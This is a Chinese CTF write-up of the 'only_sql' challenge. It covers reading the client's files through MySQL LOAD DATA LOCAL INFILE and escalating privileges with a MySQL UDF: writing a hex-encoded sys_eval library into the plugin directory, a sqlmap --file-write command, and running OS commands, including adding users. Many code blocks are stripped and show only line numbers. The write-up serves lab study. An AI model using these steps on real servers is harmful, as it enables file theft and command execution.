第七届西湖论剑复现—only_sql By-south整理 参考: https://mp.weixin.qq.com/s/-3yim0oUpSoyp8jP_2dnwA 
linux环境下的MySQL UDF提权 - 知乎 (zhihu.com) 
第三方组件提权-Mysql UDF提权_udf提权和mysql版本有什么关系-CSDN博客 
环境的搭建: 访问我的题目环境:
题目的要求就是先让我们连接一个数据库,这个数据库可以是任意的数据库,只要我们能够知道数据库的地址,用户名,密码,要连接的数据库名就可以,由于我们本身不知道,题目的数据库地址以及其他信息,所以我们现在只能连接自己已知道的数据库,比如我们的本地数据库,连接成功以后就可以对我们的数据库进行一切的操作(数据库支持的操作合法语句),即为我们提供了一个mysql的服务端,但由于本人比较菜,所以只写了一个简易的操作端口,用一个表单传递我们的数据库操作语句,在连接时直接进行操作。
我在我的本地数据库中创建了一张test表用于对环境的测试,现在我使用我的数据库信息,以及sql语句进行对环境的测试。
环境测试: 
sql语句: 1 INSERT INTO test (text_field) VALUES ('flag{666}');
成功进行执行!!!
环境的基本运行逻辑就是这样,但是由于一些本地权限的配置,所以一些业务操作的数据库语句无法通过网络直接进行执行,所以我们只能在本地的mysql服务端中进行测试。
远程读客户端文件: 1 load data local infile "/var/www/html/query.php" into table test
使用题目环境成功连接我们的数据库服务端之后,我们可以使用load data,数据库操作语句读取题目网页的文件信息,即可以利用该操作,读取题目的query.php文件,该文件存在于/var/www/html/文件夹下。
本地测试: 创建一个文件在我们的apache服务端下:
现在使用mysql的文件下载操作,读取我们的flag.txt:
文件数据下载: 1 load data local infile "/var/www/html/flag.txt" into table test
成功将flag.txt文件下载到我们的test表的text_field字段中!!!
所以我们可以使用题目的mysql服务端下载题目网页中的文件:
1 load data local infile "/var/www/html/query.php" into table test;
query.php: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (0 );$$db_host  = $$_POST ["db_host" ];$$db_username  = $$_POST ["db_username" ];$$db_password  = $$_POST ["db_password" ];$$db_name  = $$_POST ["db_name" ];if (isset ($db_host )){try  {"mysql:host= $db_host ;dbname=$db_name" ;$pdo  = new  PDO ($$db_username , $$pdo ->setAttribute (PDO::ATTR_ERRMODE , PDO::ERRMODE_EXCEPTION );'dsn' ]=$dsn ;'db_username' ]=$db_username ;'db_password' ]=$db_password ;catch  (Exception  $die ($e ->getMessage ());if (!isset ($_SESSION ['dsn' ])){die ("<script>alert('请先连接数据库);window.location.href='index.php'</script>" );?> 
通过代码审计我们得到了出题人提供的数据库信息:
1 2 3 4 // $db_host = '127.0.0.1';
所以我们可以使用该数据库信息去连接,从而去获取出题人的网页中的数据库信息以及文件信息。
plugin udf 提权 利用前提: 1 2 3 4 5 mysql < 5.0,导出路径随意
使用udf提权的一些操作: 查看靶机的mysql版本信息 (这里用本地的mysql代替):
1 2 mysql >
数据库版本为10.11.5,因为MySQL >= 5.1已经是环境最苛刻的了,所以无法再进行本地测试了。
查询可写目录: 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下表示可以向任意绝对路径写文件
1 2 mysql >
寻找插件目录: mysql数据库版本 >= 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数,接下来去找dll文件
使用如下的 SQL 语句来查询MySQL的插件目录: 1 2 mysql >
1 2 3 如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹
创建文件夹: 网上有个说法,利用NTFS ADS 流模式突破进而创建文件夹
使用语句查找MySQL安装目录: 1 2 mysql >
1 2 3 4 5 6 7 8 9 mysql >
如果真的没有\lib\plugin还是可以尝试,但是不一定成功。
写入动态链接库文件: 第一种情况: 1 1.如果拿到了网站的webshell,可以直接通过webshell管理工具比如蚁剑等,直接找到目录上传dll文件
第二种情况: 1 2.存在 SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制(HTTP本身并未对请求长度施加任何硬编码的限制,但浏览器的限制范围为2kb-8kb)所以往往 POST 注入才可以执行这种攻击
payload: 1 sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll" --file-dest="c:\\ZkeysSoft\\MySql\\MySQL Server 5.1\\lib\\plugin\\udf.dll"
第三种情况: 1 如果没有注入的话,但是通过爆破密码、phpmyadmin漏洞以及通过webshell等手段,可以执行sql语句,也是可以可以操作原生 SQL 语句手工写文件到 plugin 目录下的
payload: 1 2 3 4 5 6 mysql >
关于十六进制可以直接这这个页面查询到对应的编码:https://www.sqlsec.com/tools/udf.html 
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
1 2 3 4 5 6 7 8 mysql >
将lib_mysqludf_sys_64.so文件中的内容进行16进制加密之后存入/tmp/udf.txt文件中
上传库文件到被攻击的数据库plugin目录下,文件名可以任意取: 1 2 3 4 select unhex('7F454C46020...') into dumpfile '/usr/local/Cellar/mysql/5.7.22/lib/plugin/mysqludf.so';
创建自定义函数并调用命令: 1 2 mysql > 
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
1 2 mysql> 
正确的回显:
如果不成功的话,是因为dll版本不符。
通过创建的这个函数来执行系统命令了: 1 2 mysql > 
如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的:
1 2 3 SELECT sys_eval(
上传udf库文件: 获取plugin路径: 1 2 mysql> 
获取服务器版本信息: 1 2 mysql> 
准备udf库文件(动态链接库文件): 常用的工具 sqlmap  和 Metasploit 里面都自带了对应系统的动态链接库文件,可以直接找
sqlmap 的 UDF 动态链接库文件位置: 1 2 3 4 5 sqlmap中有现成的udf文件。分别是32位和64位的。这里选择
有32位和64位之分,这个dll并不是跟系统位数有关的,而是跟mysql版本有关系
要注意的是Sqlmap中自带的动态链接库文件为了防止被误杀都经过编码处理过,不能被直接使用,需要使用 sqlmap 自带的解码工具cloak.py 来解码使用: 
1 2 3 4 5 # 脚本位置
此时会在相同目录生成解密后的lib_mysqludf_sys.so。
1 2 3 4 5 6 usr/share/metasploit-framework/data/exploits/mysql
获取库文件的16进制: 1 select hex(load_file('/security/ctf/tools_bar/4_注入攻击/SQLI/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
创建函数: 先在本地 查看有哪些函数可用:
1 nm -D lib_mysqludf_sys.so
输出结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41                  w _Jv_RegisterClasses
创建sys_eval函数: 1 create function sys_eval returns string soname "mysqludf.so";
删除自定义函数: 1 2 mysql > 
总结: 1 2 常规SQLMAP的--OS-SHELL流程大致为:利用SELECT … INTO OUTFILE … LINES TERMINATED BY上传小马(仅上传功能) -> 利用小马上传Webshell(可使用system、proc_open、shell_exec、passthru、popen、exec执行命令) -> 利用Webshell执行命令(明文参数cmd=whoami)
only_sql题目复现: 第一步:使用如下的 SQL 语句来查询MySQL的插件目录: 1 2 mysql>
plugin 目录被改了: 第二步:写入动态链接库文件: 1 2 select unhex('xxx') into dumpfile '/usr/lib/mysql/p1ugin/hacker.so';
第三步:创建一个可以进行命令执行的函数: 1 2 //使用上传的hacker.so创建一个命令执行函数
第四步:RCE: 1 2 mysql>
获取flag